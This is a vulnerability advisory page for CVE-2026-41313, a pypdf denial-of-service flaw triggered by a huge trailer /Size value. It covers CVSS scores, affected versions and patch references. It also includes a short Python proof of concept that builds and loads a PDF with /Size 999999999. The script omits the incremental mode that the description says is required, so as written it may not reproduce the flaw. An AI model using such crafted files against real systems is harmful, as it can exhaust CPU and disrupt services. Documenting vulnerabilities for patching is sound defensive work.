Security Vulnerability Report
中文
CVE-2026-41313 CVSS 6.5 MEDIUM

CVE-2026-41313

Published: 2026-04-22 22:16:32
Last Modified: 2026-04-27 19:30:38

Description

pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:* - VULNERABLE
pypdf < 6.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pypdf import io # PoC for CVE-2026-41313 # This script demonstrates the creation of a PDF with a malicious /Size value # to trigger the long runtime vulnerability in pypdf < 6.10.2. def create_malicious_pdf(): # Basic PDF structure pdf_header = b"%PDF-1.4\n" # Minimal object definition obj_1 = b"1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n" obj_2 = b"2 0 obj\n<< /Type /Pages /Kids [] /Count 0 >>\nendobj\n" # XRef table (simplified) xref = b"xref\n0 3\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n" # Malicious trailer with extremely large Size value # This triggers the performance degradation trailer = b"trailer\n<< /Size 999999999 /Root 1 0 R >>\n" startxref = b"startxref\n123\n%%EOF\n" return pdf_header + obj_1 + obj_2 + xref + trailer + startxref if __name__ == "__main__": malicious_data = create_malicious_pdf() print("Attempting to load malicious PDF...") try: # Loading the crafted PDF may cause the process to hang or consume high CPU reader = pypdf.PdfReader(io.BytesIO(malicious_data)) print("PDF loaded (vulnerability likely not triggered or patched)") except Exception as e: print(f"Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41313", "sourceIdentifier": "[email protected]", "published": "2026-04-22T22:16:32.220", "lastModified": "2026-04-27T19:30:37.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pypdf is a free and open-source pure-python PDF library. An attacker who uses a vulnerability present in versions prior to 6.10.2 can craft a PDF which leads to long runtimes. This requires loading a PDF with a large trailer `/Size` value in incremental mode. This has been fixed in pypdf 6.10.2. As a workaround, one may apply the changes from the patch manually."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-834"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pypdf_project:pypdf:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.10.2", "matchCriteriaId": "337052B5-CF2A-4226-8757-E09AB8B66A82"}]}]}], "references": [{"url": "https://github.com/py-pdf/pypdf/commit/c50a0104cf083356f7c7f5d61410466a57f5c88a", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/py-pdf/pypdf/pull/3735", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/py-pdf/pypdf/releases/tag/6.10.2", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-4pxv-j86v-mhcw", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}